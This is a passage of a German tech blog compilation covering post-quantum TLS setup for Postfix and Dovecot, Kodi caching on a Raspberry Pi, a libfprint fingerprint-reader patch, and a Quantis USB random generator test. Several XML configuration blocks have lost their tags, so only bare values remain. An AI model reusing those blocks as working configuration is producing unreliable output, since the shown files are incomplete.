Das war's. Eine Zeile. **X25519MLKEM768** wird als bevorzugte Gruppe an den Anfang gestellt, die klassischen Kurven bleiben als Fallback erhalten. Clients die kein ML-KEM beherrschen, verhandeln einfach X25519 oder prime256v1 – die Abwärtskompatibilität bleibt also vollständig gewahrt.
Die Änderung setzt ihr entweder direkt in `/usr/local/etc/postfix/main.cf` oder über:
```
# postconf "tls_eecdh_auto_curves = X25519MLKEM768, X25519, prime256v1, secp384r1"
# postfix reload
```
**Wichtig:** Dieser Parameter beeinflusst alle Postfix-Dienste – SMTP (Port 25), Submission (Port 587) und SMTPS (Port 465). Ihr müsst also nicht jeden Port einzeln konfigurieren.
**Update 01.04.2026:** Die oben gezeigte globale Methode über main.cf hat einen Haken, den ich erst später auf der [Postfix-Users Mailingliste](https://www.mail-archive.com/postfix-users@postfix.org/msg106509.html) realisiert habe. Die korrigierte Konfiguration mit getrennten Einstellungen für Inbound und Outbound findet ihr weiter unten im **Nachtrag**.
### Dovecot konfigurieren
Dovecot verwendet den Parameter **ssl_curve_list** um die TLS-Gruppen für IMAP-Verbindungen festzulegen. Standardmäßig ist dieser leer, was bedeutet, dass OpenSSL seine eigenen Defaults verwendet. Das *kann* funktionieren, muss aber nicht.
In `/usr/local/etc/dovecot/conf.d/10-ssl.conf`:
```
ssl_curve_list = X25519MLKEM768:X25519:prime256v1:secp384r1
```
Achtung: Dovecot verwendet **Doppelpunkte** als Trennzeichen (OpenSSL-Syntax), Postfix verwendet **Kommas**. Nicht verwechseln. Ja, passiert mir oft :-D
Danach:
```
# doveadm reload
```
### Überprüfen
Jetzt wird's spannend. Funktioniert es tatsächlich? Zum Testen verwende ich `openssl s_client` direkt auf dem Server; denn euer lokales Linux oder macOS hat möglicherweise noch kein OpenSSL 3.5 mit ML-KEM-Support. Mein Linux Mint 22.3 hat es leider noch nicht *schnief*
#### SMTP (Port 25, STARTTLS):
```
$ openssl s_client -connect smtp.kernel-error.de:25 -starttls smtp \
-groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```
#### SMTPS (Port 465):
```
$ openssl s_client -connect smtp.kernel-error.de:465 \
-groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```
#### Submission (Port 587, STARTTLS):
```
$ openssl s_client -connect smtp.kernel-error.de:587 -starttls smtp \
-groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```
#### IMAPS (Port 993):
```
$ openssl s_client -connect smtp.kernel-error.de:993 \
-groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```
Alle vier Ports verhandeln **TLSv1.3 mit X25519MLKEM768**. Die hybride Post-Quantum-Verschlüsselung ist aktiv.
Wenn ihr testen wollt, was passiert wenn ein Client kein ML-KEM unterstützt:
```
$ openssl s_client -connect smtp.kernel-error.de:465 \
-groups X25519 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519
```
Fallback auf X25519 – funktioniert sauber.
### Was das nicht leistet
Wie schon beim SSH-Beitrag muss ich auch hier einschränken: Wir sichern damit den **Schlüsselaustausch** ab, nicht die **Authentifizierung**. Die TLS-Zertifikate verwenden weiterhin klassische Algorithmen (RSA, ECDSA). Für Post-Quantum-Signaturen in Zertifikaten bräuchte man ML-DSA (ehemals CRYSTALS-Dilithium) – und obwohl OpenSSL 3.5 das theoretisch unterstützt, gibt es Stand heute keine öffentliche Zertifizierungsstelle, die ML-DSA-Zertifikate ausstellt. Das wird kommen, ist aber noch Zukunftsmusik. Hey, wie ECDSA bei S/MIME (oder ist das schon anders?).
Für die Praxis bedeutet das: Ein Angreifer mit einem Quantencomputer könnte theoretisch die Serverauthentifizierung angreifen (ECDSA/RSA brechen), müsste das aber in Echtzeit tun – hier greift „store now, decrypt later" nicht, weil eine gefälschte Authentifizierung nur im Moment der Verbindung nützt. Der Schlüsselaustausch hingegen – und damit die eigentliche Vertraulichkeit der transportierten E-Mails – ist durch X25519MLKEM768 auch gegen zukünftige Quantenangriffe geschützt.
### Nachtrag (01.04.2026): Inbound und Outbound trennen
Ich muss die Postfix-Konfiguration oben korrigieren. Der Parameter **tls_eecdh_auto_curves** gilt für SMTP-Client *und* SMTP-Server gleichzeitig. Steht X25519MLKEM768 an erster Stelle, wird der PQC Key-Share direkt im initialen ClientHello mitgeschickt. Das bläht den ClientHello von rund 400 auf über 1400 Bytes auf.
Klingt erstmal harmlos. Ist es aber nicht. Manche Zielserver kommen mit dem übergroßen ClientHello nicht klar, der TLS-Handshake scheitert. Bei `smtp_tls_security_level = may` fällt Postfix dann stillschweigend auf Plaintext zurück. Dasselbe passiert bei `dane` ohne TLSA-Records, also bei der Mehrheit aller Domains da draußen. Eure Mails gehen raus, aber unverschlüsselt. Super.
Das Problem ist, dass hier zwei unterschiedliche Policies in einem Parameter stecken. Inbound will man PQC bevorzugen, weil man selbst kontrolliert was der Server akzeptiert. Outbound will man Kompatibilität priorisieren, weil man nicht weiß was auf der anderen Seite steht. Die gehören nicht in einen globalen Parameter.
Die Lösung: **tls_eecdh_auto_curves** nicht mehr global in main.cf setzen, sondern per master.cf pro Dienst überschreiben.
**Server-Seite (Inbound)** – PQC bevorzugen, an allen smtpd-Listenern:
```
smtp inet n - n - - smtpd
-o tls_eecdh_auto_curves=X25519MLKEM768,X25519,prime256v1,secp384r1
submission inet n - n - - smtpd
-o tls_eecdh_auto_curves=X25519MLKEM768,X25519,prime256v1,secp384r1
smtps inet n - n - - smtpd
-o tls_eecdh_auto_curves=X25519MLKEM768,X25519,prime256v1,secp384r1
```
**Client-Seite (Outbound)** – kleiner ClientHello, PQC nur via HelloRetryRequest:
```
smtp unix - - n - - smtp
-o tls_eecdh_auto_curves=X25519,X25519MLKEM768,prime256v1,secp384r1
```
Der Trick: Outbound steht X25519 an erster Stelle. Der initiale ClientHello bleibt damit klein. X25519MLKEM768 steht trotzdem in den supported_groups und wird verhandelt, wenn der Zielserver per HelloRetryRequest nachzieht. Inbound bekommen moderne Clients dagegen sofort PQC.
Dovecot ist davon nicht betroffen. Da gibt es nur die Server-Seite, `ssl_curve_list` bleibt wie oben beschrieben.
Noch ein Wort zum Postfix-Default: `postconf -d` zeigt auf meinem 3.10.6 kein X25519MLKEM768 im Default. Die postconf(5)-Doku beschreibt zwar für neuere Builds ein Delayed-Key-Share-Verhalten, aber was die Doku beschreibt und was ein konkreter Build tut, können zwei verschiedene Dinge sein. Deshalb die explizite Trennung per master.cf. Danke an die [Postfix-Users Mailingliste](https://www.mail-archive.com/postfix-users@postfix.org/msg106509.html) für die Diskussion, die mich auf dieses Problem aufmerksam gemacht hat.
Zwei Zeilen Konfiguration, ein Reload pro Dienst – und euer Mailserver verhandelt quantensichere Verschlüsselung. Okay, es sind jetzt ein paar mehr Zeilen als ursprünglich versprochen. Aber die Trennung zwischen Inbound und Outbound ist es wert, denn blind auf Kompatibilität aller Zielserver zu hoffen ist keine Strategie.
Viel Spaß beim Nachbauen – und wie immer: bei Fragen, [fragen](https://www.kernel-error.de/kontakt/).
---
## 42. Kodi auf dem Raspberry Pi 4: Ruckelfreie Wiedergabe einrichten
**URL**: https://www.kernel-error.de/2022/01/18/kodi-auf-dem-raspberry-pi-4-wiedergabe-stockt/
**Datum**: 2022-01-18 | **Aktualisiert**: 2026-02-26
**Kategorien**: Hardware & Reparatur, Persönliches & Offtopic
**Tags**: Kodi, Raspberry Pi
**Description**: Kodi-Wiedergabe auf dem Raspberry Pi 4 stockt? Cache-Optimierung für Kodi 19 (advancedsettings.xml) und Kodi 21+ (guisettings.xml) erklärt.
---
Der Raspberry Pi 4, egal ob mit 4GB oder 8GB RAM, ist in der Kombination mit Kodi eine wunderbare Erweiterung am Fernseher. Leider sorgte die letzte Version Kodi v19.3 (Matrix) bei mir für ein paar Problemchen. So stockte oder ruckelte die Wiedergabe von Videos oder die Wiedergabe lief für einige Minuten gut, dann wurde gebuffert, nur damit sich dieses Spielchen alle paar Minuten wiederholte. Egal ob im WLAN oder direkt am LAN.
Folgende Änderungen haben bei mir für eine Lösung der Probleme gesorgt:
### 1. Cache-Konfiguration durch advancedsettings.xml
Erstellen einer XML-Datei, welche die Default-Einstellungen des Cachings überschreibt.
Speicherort und Dateiname: */storage/.kodi/userdata/advancedsettings.xml*
```xml
524288000
1
6
```
Achtung — bei XML-Dateien spielt das richtige Einrücken schon mal eine Rolle.
### 2. GPU-Speicher und Turbo-Modus in config.txt
Die Datei `/flash/config.txt` um folgende Zeilen erweitern:
```
# Default GPU memory split, 76MB are needed for H264 decoder
gpu_mem=256
force_turbo=1
```
Wer das per SSH machen möchte, muss `/flash` einmal schreibfähig mounten:
```shell
mount -o remount,rw /flash
```
- **gpu_mem=256** — reserviert 256 MB RAM für die GPU. Selbst bei der 4 GB Version kein Problem.
- **force_turbo=1** — deaktiviert dynamisches Takten von CPU, GPU und RAM. Alles läuft auf Maximum, aber ohne Übertakten. Sorgt für ein allgemein flüssigeres Verhalten, dafür steigt Stromaufnahme und Temperatur.
### 3. Passive Kühlung
Um Temperatur und Geräuschpegel im Zaum zu halten, empfiehlt sich ein gutes passiv gekühltes Gehäuse. Das mitgelieferte Netzteil hat ausreichend Power, das Gehäuse ist massiv und wird selbst bei Dauerlast nur handwarm.
---
### Update Februar 2026 — Kodi 21 (Omega) / LibreELEC 12.x
Seit Kodi 21 (Omega), das mit LibreELEC 12.x ausgeliefert wird, funktioniert die oben beschriebene Cache-Konfiguration über die *advancedsettings.xml* nicht mehr korrekt. Die `` Sektion wird zwar noch eingelesen und im Log angezeigt — die tatsächlich aktiven Werte kommen aber aus den GUI-Settings (*guisettings.xml*). Im Kodi-Log erkennt man das an dieser Zeile:
```
New Cache GUI Settings (replacement of cache in advancedsettings.xml) are:
Buffer Mode: 4
Memory Size: 20 MB
Read Factor: 4.00 x
```
Das bedeutet: Trotz konfigurierter 500 MB in der *advancedsettings.xml* läuft Kodi mit nur 20 MB Puffer — dem Default. Nicht gerade ideal.
#### Die neue Methode
Die Cache-Werte müssen jetzt direkt in */storage/.kodi/userdata/guisettings.xml* gesetzt werden. Dafür Kodi stoppen, Datei bearbeiten, Kodi starten:
```shell
systemctl stop kodi
sleep 3
```
In der *guisettings.xml* diese drei Zeilen suchen und anpassen. Wichtig: Das `default="true"` muss entfernt werden, damit Kodi die Werte als benutzerdefiniert erkennt.
**Vorher:**
```xml
4
20
400
```
**Nachher (Beispiel für 8 GB RAM):**
```xml
1
500
600
```
Dann Kodi wieder starten:
```shell
systemctl start kodi
```
#### Was die Werte bedeuten
**buffermode = 1**
Legt fest, welche Quellen gepuffert werden:
| Wert | Bedeutung |
|------|-----------|
| 0 | Nur Internet-Streams (HTTP, FTP...) |
| 1 | Alles (Internet + LAN + lokal) ← empfohlen |
| 2 | Nur "echte" Internet-Streams |
| 3 | Kein Puffer |
| 4 | Alle Netzwerk-Quellen (Default in Kodi 21) |
Wir setzen 1 statt 4, damit NFS-Quellen garantiert gepuffert werden — egal wie Kodi die Quelle intern klassifiziert.
**memorysize = 500 (bzw. 250)**
Die Größe des Puffers in MB. Das ist der Speicher, den Kodi im RAM reserviert, um Film-Daten vorauszulesen.
Praktisches Beispiel: Ein typischer 4K-Film hat ~80 Mbit/s Bitrate (ca. 10 MB/s).
- **20 MB (Default):** Nur ~2 Sekunden Film im Puffer. Wenn das Netzwerk kurz schwankt, stockt die Wiedergabe sofort.
- **500 MB:** Ca. 50 Sekunden Film im Puffer. Selbst wenn NFS mehrere Sekunden hängt, läuft die Wiedergabe weiter.
Empfohlene Werte nach verfügbarem RAM:
- 8 GB RAM: `memorysize` = 500
- 4 GB RAM: `memorysize` = 250
**readfactor = 600 (= 6×)**
Der Wert wird intern durch 100 geteilt, also 600 = 6,0×. Kodi liest Daten mit der 6-fachen Geschwindigkeit der benötigten Bitrate voraus. Bei einem 80 Mbit/s Film liest Kodi also mit ~480 Mbit/s vom NFS, bis der Puffer voll ist. Danach drosselt es auf die tatsächlich benötigte Rate. Das sorgt dafür, dass der Puffer sich schnell füllt und möglichst voll bleibt.
#### Verifizierung
Nach dem Neustart im Kodi-Log prüfen, ob die neuen Werte aktiv sind:
```shell
grep "New Cache GUI Settings" -A4 /storage/.kodi/temp/kodi.log
```
#### Hinweis zum Raspberry Pi 5
Die *config.txt* Anpassungen (`gpu_mem=256` und `force_turbo=1`) gelten weiterhin für den Raspberry Pi 4. Beim Raspberry Pi 5 sind diese nicht nötig — er nutzt eine andere GPU-Architektur (VideoCore VII) und `gpu_mem` hat dort keine Wirkung.
## 43. NEXT Biometrics NB-2020-U Fingerabdruckleser unter Linux zum Laufen gebracht
**Veröffentlicht:** 2026-03-01
**Permalink:** https://www.kernel-error.de/2026/03/01/next-biometrics-nb-2020-u-fingerabdruckleser-linux/
**Description:** NEXT Biometrics NB-2020-U Fingerabdruckleser unter Linux: Wie ein Drei-Zeilen-Patch für libfprint den eingebetteten Sensor zum Laufen bringt.
In meinem Fujitsu Notebook steckt ein Fingerabdruckleser. Ein NEXT Biometrics NB-2020-U, USB ID `298d:2020`. Unter Windows funktioniert er, unter Linux nicht. Kein Treiber, kein Support, nichts. Das Gerät taucht in `lsusb` auf, wird aber von keinem Treiber erkannt. Im libfprint Wiki steht es auf der Liste der nicht unterstützten Geräte. Dort steht es schon eine Weile.
Das hat mich gestört.
[Bild: NB-2020-U Fingerabdruckleser]
**libfprint kennt den NB-1010-U.** Das ist ein externer USB Fingerabdruckleser von [NEXT Biometrics](https://www.nextbiometrics.com/), der seit einiger Zeit einen funktionierenden Treiber hat. Der NB-2020-U ist die eingebettete Variante desselben Sensors, gedacht für den Einbau in Notebooks. Wenn man sich Teardown Reports ansieht, etwa von System Plus Consulting oder Yole Group, dann stellt man fest: Beide Geräte verwenden den identischen Sensor Die. Gleiche Technik, anderes Gehäuse.
Das war der erste Anhaltspunkt. Wenn die Hardware gleich ist, sollte auch das USB Protokoll gleich sein. Und wenn das Protokoll gleich ist, sollte der vorhandene Treiber funktionieren.
**Bevor ich aber einfach auf Verdacht losprogrammiert habe, wollte ich es absichern.** Ich habe NEXT Biometrics direkt angeschrieben. Kevin Hung, Director FAE bei NEXT Biometrics, hatte mir bereits 2022 auf eine Anfrage zu Linux Treibern geantwortet. Damals war sein Vorschlag, über Fujitsu zu gehen. Das führte ins Leere. Diesmal habe ich konkret angeboten, selbst einen libfprint Treiber zu schreiben, und um das SDK gebeten.
Kevin hat mir daraufhin das NBBiometrics ANF SDK 3.0.0.1384 zugeschickt. Ein komplettes SDK mit Headern, Bibliotheken, Beispielcode und Dokumentation. Das war sehr hilfreich, denn die Header bestätigen einiges. Das SDK nutzt eine einzige Shared Library `libNBBiometrics.so` für alle Gerätetypen. Der NB-1010-U hat den internen Gerätetyp 200, der NB-2020-U den Typ 202. Beide verwenden dasselbe Scanformat: 180x256 Pixel bei 385 DPI. Die USB Vendor ID ist bei beiden `0x298d`, nur die Product ID unterscheidet sich: `0x1010` beim einen, `0x2020` beim anderen.
**Wichtig:** Das SDK ist proprietär. Für den eigentlichen Treiber habe ich keinen Code daraus verwendet. libfprint akzeptiert nur sauberen, eigenständig entwickelten Code. Das SDK diente ausschließlich als Referenz, um die Protokollkompatibilität zu bestätigen.
**Also habe ich es einfach ausprobiert.** Den bestehenden `nb1010.c` Treiber genommen, die USB Product ID `0x2020` zur `id_table` hinzugefügt und gebaut. Dann auf dem Fujitsu Notebook getestet.
Es funktionierte sofort.
Geräteerkennung, USB Interface Claim, die State Machine für die Fingererkennung, alles lief auf Anhieb. `fprintd-enroll` hat Fingerabdrücke aufgenommen, `fprintd-verify` hat sie korrekt verifiziert. Der bestehende Treibercode brauchte keinerlei Anpassungen. Null. Nur die PID in der Tabelle und den Gerätenamen.
Ein Blick auf die USB Deskriptoren bestätigt das Bild. Der NB-2020-U hat exakt dasselbe Endpoint Layout wie der NB-1010-U: Bulk OUT auf Endpoint 0x02, Bulk IN auf Endpoint 0x83. Dazu kommt ein Interrupt Endpoint auf 0x81, den der Treiber nicht verwendet. Die Kommunikation läuft identisch ab.
**Der Patch selbst ist entsprechend klein.** Drei Dateien, drei Zeilen rein, drei Zeilen raus:
1. `libfprint/drivers/nb1010.c`: Die neue PID `0x2020` wird in die `id_table` eingetragen und der `full_name` auf `"NextBiometrics NB-1010-U/NB-2020-U"` erweitert.
2. `data/autosuspend.hwdb`: Der Eintrag `298d:2020` wird von der Liste der nicht unterstützten Geräte in die Sektion des nb1010 Treibers verschoben.
3. `libfprint/fprint-list-udev-hwdb.c`: Der Eintrag wird aus der Allowlist der nicht unterstützten Geräte entfernt, da er jetzt vom Treiber abgedeckt wird.
Den Merge Request habe ich bei libfprint upstream eingereicht: [MR !569](https://gitlab.freedesktop.org/libfprint/libfprint/-/merge_requests/569). Die CI Pipeline läuft durch, alle 124 Tests bestehen. Jetzt heißt es warten auf das Review durch die Maintainer.
**Für alle, die denselben Fingerabdruckleser in ihrem Notebook haben:** Sobald der Patch gemergt und in einer neuen libfprint Version enthalten ist, funktioniert der Sensor out of the box. Enrollment und Verifikation über `fprintd` laufen sauber. Wer nicht warten möchte, kann den Patch auch jetzt schon selbst auf ein aktuelles libfprint anwenden.
Ich habe bei NEXT Biometrics außerdem nach Informationen zum NB-2033-U gefragt, einem weiteren Fingerabdruckleser aus der gleichen Familie. Der steckt in einem zweiten Fujitsu Notebook hier. Der NB-2033-U verwendet allerdings ein komplett anderes Protokoll und lässt sich nicht einfach mit dem nb1010 Treiber ansprechen. Dafür wäre ein eigenes Reverse Engineering nötig. Mal sehen, was NEXT Biometrics dazu sagt.
---
## 44. Quantis USB — Alter Quantenzufall aus der Schublade
**Veröffentlicht:** 2026-03-03
**Permalink:** https://www.kernel-error.de/2026/03/03/quantis-usb-alter-quantenzufall-aus-der-schublade/
**Description:** Hardware-Quantenzufall mit dem Quantis USB QRNG unter Linux: Einrichtung, Python-Zugriff und ehrlicher Vergleich mit /dev/urandom per Statistik.
Ich hatte noch einen Quantis USB in der Schublade liegen. Einen Hardware-Quantenzufallsgenerator von ID Quantique aus Genf. Ein Gerät, das echten Zufall erzeugt. Nicht pseudo, nicht algorithmisch, nicht „irgendwie aus Interrupts zusammengewürfelt", sondern auf Basis von Quantenphysik. Fundamental unvorhersagbar.
[Bild: Quantis USB]
Nachdem ich in den letzten Beiträgen [OpenSSH](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) und [Postfix/Dovecot mit Post-Quantum-Kryptografie abgesichert](https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/) habe, fiel mir wieder ein: PQC schützt die Algorithmen vor Quantencomputern. Schön und gut. Aber was ist eigentlich mit der Zufallsquelle, die diese Algorithmen füttert? Zeit, das Teil mal wieder anzuschließen und zu schauen, was es taugt.
[Bildergalerie: Quantis USB PCB und Gehäuse]
### Was steckt in dem Gerät?
Der **Quantis USB** von [ID Quantique](https://www.idquantique.com/) ist ein sogenannter Quantum Random Number Generator, kurz QRNG. Das Prinzip dahinter: Ein Photonendetektor misst quantenoptisches Vakuumrauschen. Das sind Fluktuationen im elektromagnetischen Feld, die nach den Gesetzen der Quantenmechanik fundamental zufällig sind. Nicht „fast zufällig" oder „praktisch zufällig", sondern physikalisch beweisbar unvorhersagbar. Das ist ein wichtiger Unterschied zu allem, was ein Algorithmus je leisten kann. Dazu gleich mehr.
Das Gerät selbst ist fast schon enttäuschend simpel. USB 2.0 High-Speed, ein einziger Bulk-IN-Endpoint (0x86), 512 Bytes pro Read, rund 4 Mbit/s Durchsatz. Flashbare Firmware gibt es nicht. Die „Intelligenz" steckt in der Optik und einem FPGA, nicht in Software. Das Ding macht genau eine Sache, und die macht es gut.
Mein Testgerät hat die Seriennummer 132244A410. Der Quantis USB ist inzwischen ein Legacy-Produkt, ID Quantique hat einen Nachfolger mit höherem Durchsatz im Programm. Einen öffentlichen Preis hatte das Gerät nie. „Request a Quote", wie das bei Nischenprodukten mit Zertifizierungsanforderungen so üblich ist. Das Gerät ist METAS-zertifiziert und war für Kunden gedacht, die Common-Criteria-Anforderungen erfüllen müssen. Vergleichbare QRNGs bewegen sich im Bereich von 900 bis 2.000 Euro. Nicht gerade ein Impulskauf.
### Einrichten unter Linux
Angeschlossen an mein Linux Mint 22.3 (Ubuntu 24.04 Basis) meldet sich das Gerät sofort im Kernel-Log:
```
$ dmesg | tail
usb 1-1: New USB device found, idVendor=0aba, idProduct=0102
usb 1-1: Product: Quantis USB
usb 1-1: Manufacturer: id Quantique
usb 1-1: SerialNumber: 132244A410
```
Kein spezieller Treiber nötig. Das ist ein generisches USB-Bulk-Device, der Kernel erkennt es und das war's. Die proprietäre `libquantis` von ID Quantique kann man sich komplett sparen. Man kann direkt mit `pyusb` auf den Endpoint zugreifen. So mag ich das.
Damit das auch ohne Root funktioniert, legt man eine udev-Regel an:
```
# /etc/udev/rules.d/99-quantis.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="0aba", ATTR{idProduct}=="0102", MODE="0666", GROUP="plugdev", TAG+="uaccess"
```
Danach:
```
$ sudo udevadm control --reload-rules && sudo udevadm trigger
```
Gerät abstecken, wieder anstecken, fertig. Ab jetzt kann jeder Benutzer in der Gruppe `plugdev` auf das Gerät zugreifen.
### Daten lesen mit Python
Zum Auslesen reicht das Paket `python3-usb` (pyusb). Installieren via `apt install python3-usb`, falls nicht vorhanden. Dann braucht man erstaunlich wenig Code:
```python
import usb.core, usb.util
dev = usb.core.find(idVendor=0x0ABA, idProduct=0x0102)
dev.set_configuration()
cfg = dev.get_active_configuration()
intf = cfg[(0, 0)]
ep = usb.util.find_descriptor(
intf,
custom_match=lambda e:
usb.util.endpoint_direction(e.bEndpointAddress) == usb.util.ENDPOINT_IN
)
data = ep.read(512, timeout=5000)
print(f"{len(data)} Bytes Quantenzufall gelesen")
```
Das ist alles. USB öffnen, Configuration setzen, den einen IN-Endpoint finden, 512 Bytes lesen. Fertig. Kein SDK, keine Bibliothek, kein Account, kein Cloud-Dienst. USB rein, Bytes raus.
**Wichtig:** Immer volle 512-Byte-Blöcke lesen (`wMaxPacketSize`). Wer weniger anfordert, bekommt USB-Overflow-Fehler. Das Gerät kennt keine halben Sachen. Es produziert kontinuierlich Zufallsdaten und schiebt sie in den USB-Puffer. Die müssen abgeholt werden, so wie sie kommen.
Für den Test habe ich das Ganze in eine Schleife gepackt und 100.000 Bytes gesammelt. Parallel dazu 100.000 Bytes aus `/dev/urandom`. Beide Datensätze dann durch dieselben statistischen Tests gejagt.
### Der Test: Quantis vs. /dev/urandom
Jetzt wird's spannend. Wie gut ist echter Quantenzufall im Vergleich zum Software-PRNG des Linux-Kernels?
Spoiler: Statistisch seht ihr keinen Unterschied. Und genau das ist der Punkt.
| Metrik | Quantis USB | /dev/urandom |
|--------|-------------|--------------|
| **Shannon-Entropie** | 7,998513 Bits/Byte | 7,998077 Bits/Byte |
| **Maximum (theoretisch)** | 8,000000 | 8,000000 |
| **Effizienz** | 99,9814 % | 99,9760 % |
| **Chi² (Byte-Verteilung)** | 205,8 | 267,3 |
| **Erwartet (Chi²)** | ~255 ± 23 | ~255 ± 23 |
| **Bit-Balance (Anteil Einsen)** | 49,975 % | 50,018 % |
| **Serielle Korrelation** | +0,001230 | +0,003801 |
| **Längster Bit-Run (10 kB)** | 15 Bits | 21 Bits |
| **Erwarteter Run** | ~16 | ~16 |
Die Shannon-Entropie liegt bei beiden Quellen über 99,97 % des theoretischen Maximums von 8 Bit pro Byte. Das ist hervorragend. Die Chi²-Werte zeigen eine gleichmäßige Byte-Verteilung, beide liegen im erwarteten Bereich um 255. Die Bit-Balance ist nahezu perfekt bei 50/50, die serielle Korrelation praktisch null.
In den einfachen Tests schneidet der Quantis sogar minimal besser ab: niedrigere Korrelation, gleichmäßigere Verteilung, kürzerer maximaler Bit-Run. Aber ehrlich gesagt liegt das im statistischen Rauschen. Bei 100.000 Bytes Sample-Größe kann man keine belastbare Aussage über die Überlegenheit einer Quelle treffen. Man müsste Millionen oder Milliarden Bytes testen und Testsuiten wie die NIST SP 800-22 oder Dieharder durchlaufen lassen, um wirklich statistisch signifikante Unterschiede zu finden.
Heißt das, der Quantis ist überflüssig? Nein. Denn der Unterschied liegt nicht in der Statistik.
### Wo liegt dann der echte Unterschied?
Die spannende Frage ist nicht, *ob* die Zahlen „zufälliger" sind, sondern *warum* sie es sind.
**`/dev/urandom`** verwendet intern **ChaCha20**, einen deterministischen CSPRNG (Cryptographically Secure Pseudo-Random Number Generator). Der initiale Seed kommt aus der Kernel-Entropie: Hardware-Interrupts, Timing-Jitter, Geräte-Events, und seit einigen Jahren auch RDRAND/RDSEED aus der CPU, falls vorhanden. Das funktioniert in der Praxis hervorragend und ist extrem gut untersucht.
Aber es bleibt ein Algorithmus mit einem internen State. Wer diesen State kennt (und sei es nur theoretisch), kann alle zukünftigen Outputs berechnen. Das ist kein realistisches Angriffsszenario für euren Laptop. Aber es ist eine fundamentale Eigenschaft: Die Sicherheit von `/dev/urandom` basiert auf **Berechnungsannahmen**. Man nimmt an, dass ChaCha20 nicht effizient invertierbar ist. Stand heute stimmt das. Aber es ist eine Annahme, kein Beweis.
Der **Quantis** hingegen erzeugt Zufall aus Quantenvakuum-Fluktuationen. Da gibt es keinen Algorithmus, keinen State, keinen Seed. Die Unvorhersagbarkeit ist nicht durch die Komplexität eines Algorithmus geschützt, sondern durch die Gesetze der Quantenmechanik. Kein Angreifer, egal mit welcher Rechenleistung und egal mit wie viel Zeit, kann die nächsten Bits vorhersagen. Auch kein Quantencomputer. Das ist nicht berechnungstheoretisch sicher, sondern **informationstheoretisch** sicher. Die höchste Sicherheitskategorie, die es gibt.
Klingt akademisch? Zum Teil. Für den Alltag auf eurem Desktop oder Server reicht `/dev/urandom` völlig aus. Es gibt keinen bekannten praktischen Angriff darauf, und Linux' CSPRNG ist schnell, überall verfügbar und gut gewartet.
Aber es gibt Szenarien, in denen der Unterschied real zählt:
- **Erzeugung kryptografischer Schlüssel** mit höchsten Sicherheitsanforderungen
- **Seeding von HSMs** (Hardware Security Modules), die selbst keine eigene Entropiequelle haben
- **Regulatorische und Zertifizierungsanforderungen**, also Common Criteria, FIPS-Validierung, BSI-Vorgaben
- **Wissenschaftliche Experimente**, die physikalisch echten Zufall benötigen (z. B. Quantenoptik, Monte-Carlo-Simulationen)
- **Quantenschlüsselaustausch (QKD)**, ein Bereich in dem ID Quantique ebenfalls aktiv ist
### Das größere Bild: QRNG und PQC
Post-Quantum Cryptography schützt kryptografische Algorithmen davor, von Quantencomputern gebrochen zu werden. ML-KEM für den Schlüsselaustausch, ML-DSA für Signaturen. Das ist die eine Seite der Medaille.
Die andere Seite ist die Zufallsquelle. Ein kryptografischer Algorithmus kann noch so quantensicher sein. Wenn der Zufall, mit dem Schlüssel erzeugt werden, vorhersagbar oder manipulierbar ist, hilft das alles nichts. Der Zufall ist das Fundament, auf dem alles andere aufbaut.
Ein QRNG schützt genau diesen Angriffsvektor. Beides zusammen, PQC-Algorithmen **und** eine quantenphysikalische Zufallsquelle, ergibt ein quantum-safe Gesamtsystem. Das ist heute für die meisten von uns Overkill. Aber die Bausteine existieren, sie sind verfügbar, und es schadet nicht zu wissen, wie sie funktionieren.
Übrigens: Wer jetzt denkt „dann stecke ich den Quantis in meinen Server und bin sicher", der macht es sich zu einfach. Die Vertrauensfrage verschiebt sich nur. Woher weiß ich, dass das Gerät tatsächlich Quantenzufall liefert und nicht einfach einen internen PRNG hat? Bei einem zertifizierten Gerät wie dem Quantis gibt es dafür Prüfberichte. Aber Vertrauen in Hardware bleibt immer ein Thema. Das ist bei Intel RDRAND nicht anders.
### Einbindung ins System
Für die Vollständigkeit: Der Quantis USB lässt sich über **rng-tools** (`rngd`) als zusätzliche Entropiequelle in den Kernel-Entropiepool einbinden. Für Server mit hohem Entropie-Bedarf, also TLS-Terminierung unter Last, Massenerzeugung von Schlüsseln oder VPN-Gateways, kann das sinnvoll sein.
Ich habe das auf meinem Desktop nicht gemacht. Brauche ich dort nicht. Aber die Möglichkeit steht im Raum, falls jemand von euch einen Quantis oder ein vergleichbares Gerät an einen Server hängen möchte.
### Fazit
Ein alter Hardware-QRNG, ein USB-Port, ein paar Zeilen Python, und man hat echten Quantenzufall auf dem Tisch. Statistisch nicht unterscheidbar von `/dev/urandom`, aber fundamental anders in der Entstehung. Die Sicherheit kommt nicht aus einem Algorithmus, sondern aus der Physik. Informationstheoretisch statt berechnungstheoretisch. Ein Unterschied, der in den allermeisten Fällen keine praktische Rolle spielt. Aber ein verdammt eleganter.
Für euren Desktop braucht ihr das nicht. Aber verstehen, warum es existiert und wie es sich einordnet, gerade im Kontext von Post-Quantum-Kryptografie, das lohnt sich. Warum denke ich jetzt an CIA und MAD? ;-D
Wie haltet ihr es mit euren Zufallsquellen? Vertraut ihr blind auf `/dev/urandom`, oder habt ihr euch schon mal Gedanken über die Entropiequelle dahinter gemacht?
---
---
## 45. Post-Quantum TLS für Nginx — X25519MLKEM768 auf FreeBSD 15 konfigurieren
**URL:** https://www.kernel-error.de/2026/03/07/post-quantum-tls-fuer-nginx-x25519mlkem768-auf-freebsd-15/
**Datum:** 2026-03-07
**Description:** Nginx mit X25519MLKEM768 auf FreeBSD 15 absichern — hybride Post-Quantum-Verschlüsselung für HTTPS und QUIC mit einer Zeile Konfiguration.
